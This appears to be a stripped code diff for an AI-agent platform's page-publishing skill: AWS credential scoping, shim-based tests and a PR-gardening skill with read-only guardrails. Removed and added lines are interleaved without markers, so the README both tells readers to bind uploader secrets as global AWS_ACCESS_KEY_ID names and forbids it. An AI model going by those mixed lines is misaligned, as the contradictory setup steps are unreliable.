1. `PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID` + `PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY`
(scoped to the helper's `aws` calls; the surrounding process identity is
untouched)
2. `PAPERCLIP_PAGE_AWS_PROFILE`, passed to `aws` as `--profile` (ambient
`AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN` /
`AWS_PROFILE` are stripped from the helper's `aws` calls so the named
profile always wins)
3. The ambient AWS credential chain
Setting both the namespaced key pair and `PAPERCLIP_PAGE_AWS_PROFILE` is an
error.
Recommended Paperclip secret names:
- `paperclip-page-aws-access-key-id`
- `paperclip-page-aws-secret-access-key`
Bind those secrets into publisher agents as `AWS_ACCESS_KEY_ID` and
`AWS_SECRET_ACCESS_KEY`. Do not reuse Paperclip's internal S3 attachment/object
Bind those secrets into publisher agents as `PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID`
and `PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY`. Never bind them as the global
`AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` names: static env keys override
`AWS_PROFILE` in the AWS CLI and every SDK, so global names silently switch the
whole agent run — and every subprocess — to the page-uploader identity and
break access to anything the uploader cannot reach (Secrets Manager, STS role
use, other buckets). Do not reuse Paperclip's internal S3 attachment/object
storage credentials.
## AWS Setup
@@ -473,27 +493,29 @@ Create secrets from environment variables so values do not land in shell history
export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID="$(jq -r '.AccessKey.AccessKeyId' /tmp/paperclip-page-uploader-key.json)"
export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY="$(jq -r '.AccessKey.SecretAccessKey' /tmp/paperclip-page-uploader-key.json)"
pnpm paperclipai secrets create \
npx paperclipai secrets create \
--company-id <company-id> \
--name paperclip-page-aws-access-key-id \
--value-env PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID
pnpm paperclipai secrets create \
npx paperclipai secrets create \
--company-id <company-id> \
--name paperclip-page-aws-secret-access-key \
--value-env PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY
```
Bind runtime env to publishing agents:
Bind runtime env to publishing agents. Use the namespaced names — never the
global `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY`, which would shadow the
host `AWS_PROFILE` identity for the entire agent run:
```json
{
"AWS_ACCESS_KEY_ID": {
"PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID": {
"type": "secret_ref",
"secretId": "<access-key-secret-id>",
"version": "latest"
},
"AWS_SECRET_ACCESS_KEY": {
"PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY": {
"type": "secret_ref",
"secretId": "<secret-key-secret-id>",
"version": "latest"
@@ -510,7 +532,7 @@ Bind runtime env to publishing agents:
Create or update the company skill from this package:
```bash
pnpm paperclipai skills create \
npx paperclipai skills create \
--company-id <company-id> \
--name "Paperclip Page" \
--slug paperclip-page \
@@ -521,7 +543,7 @@ pnpm paperclipai skills create \
Attach it to an agent:
```bash
pnpm paperclipai skills agent sync <agent-id-or-shortname> \
npx paperclipai skills agent sync <agent-id-or-shortname> \
--company-id <company-id> \
--skill paperclip-page
```
+15 -6
View File
@@ -1,10 +1,9 @@
---
name: paperclip-page
description: >
Publish static HTML pages and asset folders to the Paperclip-approved S3 and
CloudFront website host. Use when asked to deploy, publish, host, or share a
persistent Paperclip page, wireframe viewer, prototype, report, or other static
site without using here.now.
Publish static HTML pages and asset folders to the Paperclip S3/CloudFront page
host. Use when asked to deploy, host, or share a persistent page, viewer,
prototype, report, or static site without here.now.
---
# Paperclip Page
@@ -20,10 +19,20 @@ host, for example `https://pages.paperclip.ing/<slug>/`.
- `PAPERCLIP_PAGE_BUCKET`
- `PAPERCLIP_PAGE_BASE_URL`
- `AWS_REGION`
- AWS credentials via Paperclip Secrets or an approved AWS vault
- `PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID` and `PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY`
with the page-uploader credentials from Paperclip Secrets
- Optional environment variables:
- `PAPERCLIP_PAGE_DEFAULT_PREFIX`
- `PAPERCLIP_PAGE_AWS_PROFILE`
- `PAPERCLIP_PAGE_AWS_PROFILE` (alternative to the namespaced key pair)
- `PAPERCLIP_PAGE_AWS_SESSION_TOKEN` (only together with the namespaced key
pair)
Do not bind the page-uploader credentials as global `AWS_ACCESS_KEY_ID` /
`AWS_SECRET_ACCESS_KEY`: static env keys take precedence over `AWS_PROFILE` in
every AWS SDK, so global names silently replace the host identity for every
process in the agent run. The namespaced variables scope the uploader identity
to this helper only. The ambient credential chain still works as a fallback
when none of the `PAPERCLIP_PAGE_AWS_*` credential variables are set.
## Workflow
@@ -15,6 +15,15 @@ Required environment for live publish:
Optional environment:
PAPERCLIP_PAGE_DEFAULT_PREFIX, PAPERCLIP_PAGE_AWS_PROFILE
PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID, PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY,
PAPERCLIP_PAGE_AWS_SESSION_TOKEN
Credential resolution for aws calls made by this helper:
1. PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID + PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY
(used only by this helper; ambient AWS_PROFILE/AWS_* identity is untouched)
2. PAPERCLIP_PAGE_AWS_PROFILE (passed as --profile; ambient AWS_* identity
variables are stripped from the helper's aws calls)
3. Ambient AWS credential chain (env keys, profile, instance role)
Options:
--slug SLUG Lowercase URL slug. Allowed: a-z, 0-9, hyphen.
@@ -125,9 +134,26 @@ join_prefix() {
}
aws_base_args=()
aws_env_unset=()
aws_env_overrides=()
aws_cli() {
aws "${aws_base_args[@]}" "$@"
local name pair
if [[ ${#aws_env_unset[@]} -gt 0 || ${#aws_env_overrides[@]} -gt 0 ]]; then
# Scope the page-uploader identity to this helper's aws calls only, and
# drop the ambient identity variables that would otherwise mix with or
# shadow the configured credential source. Apply the overrides with shell
# builtins in a subshell — passing them to an external `env` command would
# expose the credential values in its argv (world-readable via
# /proc/<pid>/cmdline) while it runs.
(
for name in "${aws_env_unset[@]}"; do unset "$name"; done
for pair in "${aws_env_overrides[@]}"; do export "$pair"; done
exec aws "${aws_base_args[@]}" "$@"
)
else
aws "${aws_base_args[@]}" "$@"
fi
}
object_exists() {
@@ -297,6 +323,18 @@ default_prefix="$(normalize_default_prefix "${PAPERCLIP_PAGE_DEFAULT_PREFIX:-}")
[[ -n "$base_url" ]] || die "PAPERCLIP_PAGE_BASE_URL is required"
base_url="$(normalize_base_url "$base_url")"
page_access_key_id="${PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID:-}"
page_secret_access_key="${PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY:-}"
if [[ -n "$page_access_key_id" || -n "$page_secret_access_key" ]]; then
[[ -n "$page_access_key_id" && -n "$page_secret_access_key" ]] ||
die "PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID and PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY must be set together"
[[ -z "${PAPERCLIP_PAGE_AWS_PROFILE:-}" ]] ||
die "set PAPERCLIP_PAGE_AWS_PROFILE or the PAPERCLIP_PAGE_AWS_* key pair, not both"
fi
if [[ -n "${PAPERCLIP_PAGE_AWS_SESSION_TOKEN:-}" && -z "$page_access_key_id" ]]; then
die "PAPERCLIP_PAGE_AWS_SESSION_TOKEN requires the PAPERCLIP_PAGE_AWS_* key pair"
fi
explicit_slug=0
if [[ -n "$slug_arg" ]]; then
explicit_slug=1
@@ -310,8 +348,18 @@ if [[ "$dry_run" == "0" ]]; then
require_command curl
[[ -n "$region" ]] || die "AWS_REGION is required for live publish"
aws_base_args=(--region "$region")
if [[ -n "${PAPERCLIP_PAGE_AWS_PROFILE:-}" ]]; then
if [[ -n "$page_access_key_id" ]]; then
aws_env_unset=(AWS_PROFILE AWS_SESSION_TOKEN)
aws_env_overrides=(
AWS_ACCESS_KEY_ID="$page_access_key_id"
AWS_SECRET_ACCESS_KEY="$page_secret_access_key"
)
if [[ -n "${PAPERCLIP_PAGE_AWS_SESSION_TOKEN:-}" ]]; then
aws_env_overrides+=(AWS_SESSION_TOKEN="$PAPERCLIP_PAGE_AWS_SESSION_TOKEN")
fi
elif [[ -n "${PAPERCLIP_PAGE_AWS_PROFILE:-}" ]]; then
aws_base_args+=(--profile "$PAPERCLIP_PAGE_AWS_PROFILE")
aws_env_unset=(AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN AWS_PROFILE)
fi
fi
@@ -131,6 +131,215 @@ test("rejects hidden files in the source tree", () => {
assert.match(result.output, /hidden files and dot paths are not allowed/);
});
test("namespaced page keys require both halves of the pair", () => {
const result = runPublish(
[createSite(), "--slug", "demo-page", "--dry-run"],
{ PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER" },
);
assert.notEqual(result.status, 0);
assert.match(result.output, /must be set together/);
});
test("namespaced session token requires the namespaced key pair", () => {
const result = runPublish(
[createSite(), "--slug", "demo-page", "--dry-run"],
{ PAPERCLIP_PAGE_AWS_SESSION_TOKEN: "page-session-token" },
);
assert.notEqual(result.status, 0);
assert.match(result.output, /requires the PAPERCLIP_PAGE_AWS_\* key pair/);
});
test("namespaced page keys conflict with PAPERCLIP_PAGE_AWS_PROFILE", () => {
const result = runPublish(
[createSite(), "--slug", "demo-page", "--dry-run"],
{
PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER",
PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY: "page-secret",
PAPERCLIP_PAGE_AWS_PROFILE: "paperclip-page-uploader",
},
);
assert.notEqual(result.status, 0);
assert.match(result.output, /not both/);
});
test("namespaced page keys are scoped to the helper's aws calls", () => {
const siteDir = createSite();
const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-"));
tempDirs.add(binDir);
const envDump = join(binDir, "aws-env.txt");
writeExecutable(
join(binDir, "aws"),
`#!/usr/bin/env bash
set -euo pipefail
{
echo "AWS_ACCESS_KEY_ID=\${AWS_ACCESS_KEY_ID:-<unset>}"
echo "AWS_SECRET_ACCESS_KEY=\${AWS_SECRET_ACCESS_KEY:-<unset>}"
echo "AWS_SESSION_TOKEN=\${AWS_SESSION_TOKEN:-<unset>}"
echo "AWS_PROFILE=\${AWS_PROFILE:-<unset>}"
} >"${envDump}"
while [[ "$1" == "--region" || "$1" == "--profile" ]]; do
shift 2
done
if [[ "$1" == "s3api" ]]; then
echo "None"
exit 0
fi
if [[ "$1" == "s3" && "$2" == "sync" ]]; then
exit 0
fi
echo "unexpected aws call: $*" >&2
exit 1
`,
);
writeExecutable(
join(binDir, "curl"),
`#!/usr/bin/env bash
exit 0
`,
);
const result = runPublish([siteDir, "--slug", "demo-page"], {
AWS_REGION: "us-east-1",
PATH: `${binDir}:${process.env.PATH}`,
AWS_ACCESS_KEY_ID: "AKIAAMBIENTIDENTITY",
AWS_SECRET_ACCESS_KEY: "ambient-secret",
AWS_SESSION_TOKEN: "ambient-session-token",
AWS_PROFILE: "ambient-profile",
PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER",
PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY: "page-secret",
});
assert.equal(result.status, 0);
const seen = readFileSync(envDump, "utf8");
assert.match(seen, /^AWS_ACCESS_KEY_ID=AKIAPAGEUPLOADER$/m);
assert.match(seen, /^AWS_SECRET_ACCESS_KEY=page-secret$/m);
assert.match(seen, /^AWS_SESSION_TOKEN=<unset>$/m);
assert.match(seen, /^AWS_PROFILE=<unset>$/m);
});
test("credential values never pass through an external env command's argv", () => {
const siteDir = createSite();
const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-"));
tempDirs.add(binDir);
const envArgvDump = join(binDir, "env-argv.txt");
writeExecutable(
join(binDir, "aws"),
`#!/usr/bin/env bash
set -euo pipefail
while [[ "$1" == "--region" || "$1" == "--profile" ]]; do
shift 2
done
if [[ "$1" == "s3api" ]]; then
echo "None"
exit 0
fi
if [[ "$1" == "s3" && "$2" == "sync" ]]; then
exit 0
fi
echo "unexpected aws call: $*" >&2
exit 1
`,
);
writeExecutable(
join(binDir, "curl"),
`#!/usr/bin/env bash
exit 0
`,
);
// Shim env: record every argv it is invoked with, then behave normally.
// Credentials in that argv would be world-readable via /proc/<pid>/cmdline.
writeExecutable(
join(binDir, "env"),
`#!/bin/bash
printf '%s\\n' "$@" >>"${envArgvDump}"
exec /usr/bin/env "$@"
`,
);
const result = runPublish([siteDir, "--slug", "demo-page"], {
AWS_REGION: "us-east-1",
PATH: `${binDir}:${process.env.PATH}`,
PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER",
PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY: "page-secret-argv-canary",
PAPERCLIP_PAGE_AWS_SESSION_TOKEN: "page-session-argv-canary",
});
assert.equal(result.status, 0);
const argvSeen = existsSync(envArgvDump) ? readFileSync(envArgvDump, "utf8") : "";
assert.doesNotMatch(argvSeen, /page-secret-argv-canary/);
assert.doesNotMatch(argvSeen, /page-session-argv-canary/);
assert.doesNotMatch(argvSeen, /AKIAPAGEUPLOADER/);
});
test("PAPERCLIP_PAGE_AWS_PROFILE strips ambient static credentials", () => {
const siteDir = createSite();
const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-"));
tempDirs.add(binDir);
const envDump = join(binDir, "aws-env.txt");
writeExecutable(
join(binDir, "aws"),
`#!/usr/bin/env bash
set -euo pipefail
profile="<none>"
while [[ "$1" == "--region" || "$1" == "--profile" ]]; do
if [[ "$1" == "--profile" ]]; then
profile="$2"
fi
shift 2
done
{
echo "PROFILE_ARG=$profile"
echo "AWS_ACCESS_KEY_ID=\${AWS_ACCESS_KEY_ID:-<unset>}"
echo "AWS_SECRET_ACCESS_KEY=\${AWS_SECRET_ACCESS_KEY:-<unset>}"
echo "AWS_SESSION_TOKEN=\${AWS_SESSION_TOKEN:-<unset>}"
echo "AWS_PROFILE=\${AWS_PROFILE:-<unset>}"
} >"${envDump}"
if [[ "$1" == "s3api" ]]; then
echo "None"
exit 0
fi
if [[ "$1" == "s3" && "$2" == "sync" ]]; then
exit 0
fi
echo "unexpected aws call: $*" >&2
exit 1
`,
);
writeExecutable(
join(binDir, "curl"),
`#!/usr/bin/env bash
exit 0
`,
);
const result = runPublish([siteDir, "--slug", "demo-page"], {
AWS_REGION: "us-east-1",
PATH: `${binDir}:${process.env.PATH}`,
AWS_ACCESS_KEY_ID: "AKIAAMBIENTIDENTITY",
AWS_SECRET_ACCESS_KEY: "ambient-secret",
AWS_SESSION_TOKEN: "ambient-session-token",
AWS_PROFILE: "ambient-profile",
PAPERCLIP_PAGE_AWS_PROFILE: "paperclip-page-uploader",
});
assert.equal(result.status, 0);
const seen = readFileSync(envDump, "utf8");
assert.match(seen, /^PROFILE_ARG=paperclip-page-uploader$/m);
assert.match(seen, /^AWS_ACCESS_KEY_ID=<unset>$/m);
assert.match(seen, /^AWS_SECRET_ACCESS_KEY=<unset>$/m);
assert.match(seen, /^AWS_SESSION_TOKEN=<unset>$/m);
assert.match(seen, /^AWS_PROFILE=<unset>$/m);
});
test("live publish writes state before URL verification", () => {
const siteDir = createSite();
const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-"));
+180
View File
@@ -0,0 +1,180 @@
---
name: pr-gardening
description: >
Discover the pull requests this Paperclip instance opened (never community
contributions), report what each is for and how confident we are that it is
merge-ready, and automatically drive the non-ready ones back to green with
/prepare-paperclip-pr — without ever merging.
compatibility: Requires Node.js 20+, gh authenticated for GitHub read access, and Paperclip run credentials.
allowed-tools: Bash(node:*) Bash(gh:*) Bash(curl:*)
---
# PR Gardening
Actively garden the pull requests **this Paperclip instance opened** that are referenced by Paperclip issues active in a recent window (default 14 days). Candidate discovery and readiness checking are scripts, not LLM analysis. GitHub access is read-only throughout this workflow.
## Scope — Our PRs Only
By default the workflow gardens only pull requests authored by this instance's GitHub identity (the `gh` authenticated login, e.g. `cryppadotta`). Community contributions and dependabot PRs are excluded mechanically by author login in Stage A and land in `droppedCommunityPullRequests`; never re-add them by hand, widen the scope only when the caller explicitly passes `--authors` or `--include-community`.
## Hard Guardrails
- **Never merge, approve, or close a pull request.**
- **Never instruct another person or agent to merge, approve, or close a pull request.**
- **Never garden, comment on, or run `/prepare-paperclip-pr` against a community PR.** Only PRs from the Stage A author allowlist are actionable.
- Never use mutating `gh` commands or mutating GitHub API requests. The scripts only use `gh pr view` and read-only `gh api` GET requests.
- Draft pull requests are report-only. Do not post gardening comments for drafts.
- Comment only on existing originating issues. Never create a gardening issue per pull request.
- `--dry-run` suppresses all Paperclip mutations, including gardening comments, prepare tasks, and inbox archives. Discovery and GitHub inspection remain read-only in every mode.
## Inputs
- `--days <N>`: activity window, default `14`. Applies to both mentioning-issue activity and the PR's own `updatedAt`; open PRs with no activity inside the window are dropped as stale.
- `--authors <logins>`: comma-separated GitHub logins whose PRs are in scope; default is the `gh` authenticated user.
- `--include-community`: disable the author filter entirely. Only on explicit caller request.
- `--repo <owner/repo>`: GitHub repository, default detected by `gh repo view`.
- `--dry-run`: discover, verify, and report without posting comments, creating prepare tasks, or archiving inbox entries.
- `--archive-inbox`: after GitHub confirms a candidate PR is merged at its current head, archive the originating issue from the responsible user's inbox in Stage D.
- `--cooldown-hours <N>`: repeat-gardening cooldown, default `48`.
- `--max-rounds <N>`: maximum gardening rounds per PR, default `3`.
Use a run-owned directory such as `$PAPERCLIP_RUN_SCRATCH_DIR/pr-gardening` for generated files.
## Stage A — Discover Candidates
Run the extract-search path. It scans every result page, normalizes PR URLs, deduplicates PR numbers, records every mentioning issue, checks issue work products to identify the origin, drops PRs that GitHub says are merged or closed, drops PRs whose author is outside the allowlist (community contributions) into `droppedCommunityPullRequests`, and drops open PRs whose own `updatedAt` is older than the window into `droppedStalePullRequests`. Issues that exceed the per-issue extract match cap (typically digest or QA issues that enumerate hundreds of PR URLs) are recorded in `source.truncatedIssues` and noted in the report instead of aborting the run.
```bash
node .agents/skills/pr-gardening/scripts/find-candidates.mjs \
--days 14 \
--dry-run \
--output "$RUN_DIR/candidates.json"
```
The script calls `GET /api/companies/:companyId/search/extract` with `kind=url`, `scope=all`, and `updatedWithin=<N>d`, then resolves the author allowlist from `gh api user` unless `--authors` or `--include-community` overrides it. Do not replace it with full issue-list fetching or LLM scanning.
## Stage B — Verify Current-Head Readiness
```bash
node .agents/skills/pr-gardening/scripts/check-readiness.mjs \
--input "$RUN_DIR/candidates.json" \
--output "$RUN_DIR/readiness.json" \
--dry-run
```
For every candidate, the script re-fetches the current head SHA and records:
- open/draft state and mergeability/conflicts;
- `statusCheckRollup` check-run and legacy status inventory;
- a completed Greptile check-run on the exact head, clean only for `success` or `neutral`;
- `reviewDecision`;
- commits behind the base branch.
Verdicts are `ready`, `needs_gardening`, or `report_only` for drafts. Always rerun this stage after any wake or claim that a PR was fixed. Never trust issue comments as proof of readiness.
## Follow-up Create-PR Task Deduplication
If gardening decides a branch needs a follow-up task to create a single pull request, deduplicate before creating anything.
For each branch, process one branch at a time and do this serially:
1. Search open Paperclip issues for the exact branch name with statuses `backlog`, `todo`, `in_progress`, `in_review`, and `blocked`.
2. Inspect matching issue titles, descriptions, and recent comments for an equivalent open "create PR from this branch" task for the same branch.
3. If an equivalent open task exists, reuse it: add a concise comment with the current PR/head/reason context and link it from the gardening issue or blocker list. Do not create another task.
4. Only if no equivalent open task exists, create exactly one follow-up task for that branch.
Never fan out follow-up task creation in parallel. Do not issue concurrent `POST /api/companies/:companyId/issues` calls for create-PR or prepare-PR tasks. After P1's issue-create idempotency support is available, every create-PR follow-up task creation must include `idempotencyKey: "pr-gardening:create-pr:{branch}"` and every prepare-PR task `idempotencyKey: "pr-gardening:prepare-pr:{owner/repo}#{number}"`.
## Stage C — Drive Our PRs to Ready with /prepare-paperclip-pr
Skip this stage in `--dry-run` mode and for `ready` or `report_only` entries.
Every `needs_gardening` PR here was opened by this instance (Stage A guarantees it), so do not just report — actively get it merge-ready by running the `/prepare-paperclip-pr` skill against it. Process PRs one at a time:
1. **Cooldown and rounds.** Locate the `originatingIssue` from `candidates.json` (selection priority: issue carrying the exact PR URL as a `pull_request` work product; then issue whose comment mentions the PR; then most recently active mentioning issue). Fetch its comments and search for the marker:
```text
<!-- pr-gardening:<owner/repo>#<number> -->
```
Skip the PR if the latest matching marker is newer than the cooldown. Track rounds from matching markers; after three rounds, stop and report `not converging; recommend close or human decision`. That is a recommendation for human disposition, not an instruction to close the PR.
2. **Deduplicate.** Search open Paperclip issues for the PR number/branch. If an equivalent open prepare-PR task already exists, reuse it with a concise status comment instead of creating another (see the deduplication section above).
3. **Run the prepare skill.** Create one focused child task per PR assigned to a coder agent (prefer CodexCoder) instructing it to run `/prepare-paperclip-pr` for that PR — include the PR URL, branch, current head SHA, and the exact machine-detected `reasons[]` from `readiness.json`. If you are the gardener and already have the PR's branch checked out in a worktree, you may run `/prepare-paperclip-pr` directly instead of delegating. Either way, the prepare work must never merge, approve, or close the PR.
4. **Leave the marker comment.** Comment on the originating issue with the marker above, the current head SHA, the copied `reasons[]`, the round counter, and a link to the prepare task. Use `POST /api/issues/:issueId/comments` with `X-Paperclip-Run-Id`. Include `resume: true` when the issue is terminal so the comment creates a live continuation.
Suggested body:
```markdown
<!-- pr-gardening:paperclipai/paperclip#1234 -->
Gardening: dispatched `/prepare-paperclip-pr` for https://github.com/paperclipai/paperclip/pull/1234 via PAP-XXXX.
Current-head verification at `abc123` found:
- failing check: test
- Greptile missing at current head
Gardening round 1/3. Re-verification is required after changes; do not merge based on this comment.
```
## Stage D — Optional Inbox Tidy-Up
Run this stage only when the caller explicitly supplied `--archive-inbox`. `--dry-run` always suppresses inbox mutations, even when `--archive-inbox` is also present. Without the flag, do not archive anything.
Stage D applies to a previously monitored candidate that transitions to merged. Rerun Stage B immediately before this stage and require GitHub to report `state: merged` for the same current head SHA recorded by that verification. Fresh Stage A discovery intentionally drops PRs that were already merged or closed.
For each qualifying candidate, archive its `originatingIssue` from the responsible user's inbox with `POST /api/issues/:issueId/inbox-archive` and an empty JSON body. Do not pass `userId`; the Paperclip API resolves the responsible user from the gardener's run context and enforces that user's inbox-agent policy. GitHub access remains read-only.
Do not archive PRs that are merely `ready`, closed without merging, draft, pending, or merged at an unverified or stale head. Never archive an originating issue while the user is still awaiting review, a decision, approval, or other action on it. If Paperclip denies the mutation because the responsible user is unresolved, inbox management is disabled, the gardener is not allowlisted, or a trust boundary applies, report the denial and continue without retrying around policy.
After a successful archive, leave a standard gardening marker comment on the originating issue that names the archived issue and merged PR:
```markdown
<!-- pr-gardening:paperclipai/paperclip#1234 -->
Inbox tidy-up: archived [PAP-310](/PAP/issues/PAP-310) from the responsible user's inbox after confirming https://github.com/paperclipai/paperclip/pull/1234 merged at current head `abc123`.
This archive is audited and reversible; later issue activity may resurface the item.
```
Use `POST /api/issues/:issueId/comments` and include `X-Paperclip-Run-Id` on both the archive and comment requests. In `--dry-run`, report the archive and marker comment that would have been written, but perform neither mutation.
## Stage E — Monitor to Termination
Set the gardening run issue's `blockedByIssueIds` to the non-terminal prepare tasks and originating issues engaged in Stage C so blocker resolution wakes the gardener. A scheduled or manual rerun is the fallback.
On every wake, rerun Stage B first. A PR terminates from active gardening only when one of these is mechanically observed:
- verified `ready` at the current head;
- merged or closed externally;
- maximum rounds reached, reported as not converging.
Do not leave the gardening issue blocked on terminal issues. Do not poll agents or long-running sessions.
## Stage F — Render and Publish the Report
```bash
node .agents/skills/pr-gardening/scripts/render-report.mjs \
--input "$RUN_DIR/readiness.json" \
--output "$RUN_DIR/gardening-report.md"
```
The report states the scope (authors + window), and for every open PR gives its author, a one-line purpose summary taken from the PR description, and a readiness confidence bucket:
- **High:** current-head checks green, no conflicts, Greptile clean, base fresh, originating issue terminal.
- **Medium:** otherwise green but base stale, review not complete, or originating issue active.
- **Low:** failing/pending checks, missing Greptile, draft/just-fixed-unverified state, or no identifiable origin.
If a PR's generated purpose line is empty or unhelpful, write a one-sentence description from the PR title and diff summary when publishing the report.
Upload `candidates.json`, `readiness.json`, and `gardening-report.md` to the gardening issue, create/update the `gardening-report` issue document with the Markdown body, and leave a summary comment linking the artifacts. The report is the deliverable; it is never authorization to merge.
## Verification
Run focused script tests:
```bash
node --test .agents/skills/pr-gardening/scripts/pr-gardening.test.mjs
```
For a live dry run, execute Stages A, B, and F with `--dry-run`, then sanity-check named PRs only if they are still open. Merged or closed examples should appear under `droppedClosedPullRequests`, not in readiness results, and community-authored PRs must appear only under `droppedCommunityPullRequests` — a candidate or report entry with an author outside the allowlist is a scope failure. If also exercising `--archive-inbox`, confirm the report describes the suppressed Stage D action and that no Paperclip archive or marker-comment mutation occurred.
+187
View File
@@ -0,0 +1,187 @@
#!/usr/bin/env node
import { pathToFileURL } from "node:url";
import {
ghJson,
isTerminalIssue,
normalizeCheck,
normalizeRepository,
parseArgs,
readJson,
reason,
summarizePullRequestBody,
writeJson,
} from "./lib.mjs";
function assessChecks(contexts) {
const checks = contexts.map(normalizeCheck);
return {
checks,
pending: checks.filter((check) => check.pending),
failing: checks.filter((check) => !check.pending && !check.green),
allGreen: checks.length > 0 && checks.every((check) => check.green),
};
}
function assessGreptile(checkRuns) {
const runs = checkRuns.filter((run) => /greptile/i.test(run.name));
const completed = runs.filter((run) => run.status === "completed");
const clean = completed.filter((run) => run.conclusion === "success" || run.conclusion === "neutral");
const blocking = completed.filter((run) => run.conclusion !== "success" && run.conclusion !== "neutral");
return {
present: runs.length > 0,
pending: runs.some((run) => run.status !== "completed"),
clean: clean.length > 0 && blocking.length === 0,
runs: runs.map((run) => ({
name: run.name,
status: run.status,
conclusion: run.conclusion,
detailsUrl: run.details_url ?? null,
})),
};
}
function fetchCheckRuns(repository, headSha) {
const runs = [];
for (let page = 1; page <= 100; page += 1) {
const response = ghJson([
"api",
`repos/${repository}/commits/${headSha}/check-runs?per_page=100&page=${page}`,
]);
const pageRuns = response.check_runs ?? [];
runs.push(...pageRuns);
if (pageRuns.length < 100) return runs;
}
throw new Error(`Check-run pagination exceeded 100 pages for ${headSha}`);
}
export function readinessVerdict({ pullRequest, checks, greptile, behindBy, originatingIssue }) {
const reasons = [];
if (pullRequest.state !== "OPEN") reasons.push(reason("pr_not_open", `PR is ${pullRequest.state.toLowerCase()}`));
const mergeable = pullRequest.mergeable ?? "UNKNOWN";
if (mergeable === "CONFLICTING") reasons.push(reason("merge_conflict", "GitHub reports merge conflicts"));
if (mergeable === "UNKNOWN") reasons.push(reason("mergeability_unknown", "GitHub has not resolved mergeability"));
if (checks.pending.length > 0) {
reasons.push(reason("checks_pending", `${checks.pending.length} check(s) are pending`, "blocking", { names: checks.pending.map((check) => check.name) }));
}
if (checks.failing.length > 0) {
reasons.push(reason("checks_failing", `${checks.failing.length} check(s) are not green`, "blocking", { names: checks.failing.map((check) => check.name) }));
}
if (checks.checks.length === 0) reasons.push(reason("checks_missing", "No status checks were found at the current head"));
if (!greptile.present) reasons.push(reason("greptile_missing", "No Greptile check-run exists at the current head"));
else if (greptile.pending) reasons.push(reason("greptile_pending", "Greptile has not completed at the current head"));
else if (!greptile.clean) reasons.push(reason("greptile_not_clean", "Greptile did not conclude success or neutral at the current head"));
if (pullRequest.reviewDecision === "CHANGES_REQUESTED") reasons.push(reason("changes_requested", "A review requests changes"));
if (pullRequest.reviewDecision === "REVIEW_REQUIRED") reasons.push(reason("review_required", "Required review approval is missing"));
if (behindBy > 0) reasons.push(reason("base_behind", `Head is ${behindBy} commit(s) behind base`, "blocking", { behindBy }));
if (!originatingIssue) reasons.push(reason("originating_issue_missing", "No originating Paperclip issue was identified", "reporting"));
else if (!isTerminalIssue(originatingIssue.status)) {
reasons.push(reason("originating_issue_active", `Originating issue ${originatingIssue.identifier ?? originatingIssue.issueId} is ${originatingIssue.status}`, "reporting"));
}
if (pullRequest.isDraft) return { verdict: "report_only", reasons };
return { verdict: reasons.some((entry) => entry.severity === "blocking") ? "needs_gardening" : "ready", reasons };
}
export function confidenceFor(entry) {
if (entry.verdict === "report_only") return "low";
const codes = new Set(entry.reasons.map((entryReason) => entryReason.code));
const lowConfidenceCodes = [
"originating_issue_missing",
"greptile_missing",
"greptile_pending",
"greptile_not_clean",
"checks_missing",
"checks_failing",
"checks_pending",
"merge_conflict",
"mergeability_unknown",
"changes_requested",
];
if (lowConfidenceCodes.some((code) => codes.has(code))) {
return "low";
}
if (entry.verdict === "ready" && !codes.has("originating_issue_active")) return "high";
return "medium";
}
export async function checkReadiness(candidatesDocument, options = {}) {
const repository = normalizeRepository(options.repo ?? candidatesDocument.repository);
const results = [];
for (const candidate of candidatesDocument.candidates) {
const pullRequest = ghJson([
"pr",
"view",
String(candidate.number),
"--repo",
repository,
"--json",
"number,url,title,author,body,state,isDraft,headRefOid,baseRefName,headRefName,mergeable,mergeStateStatus,reviewDecision,statusCheckRollup,updatedAt",
]);
const checkRuns = fetchCheckRuns(repository, pullRequest.headRefOid);
const comparison = ghJson([
"api",
`repos/${repository}/compare/${encodeURIComponent(pullRequest.baseRefName)}...${encodeURIComponent(pullRequest.headRefOid)}`,
]);
const checks = assessChecks(pullRequest.statusCheckRollup ?? []);
const greptile = assessGreptile(checkRuns);
const assessment = readinessVerdict({
pullRequest,
checks,
greptile,
behindBy: comparison.behind_by ?? 0,
originatingIssue: candidate.originatingIssue,
});
const entry = {
number: pullRequest.number,
url: pullRequest.url,
title: pullRequest.title,
author: pullRequest.author?.login ?? candidate.author ?? null,
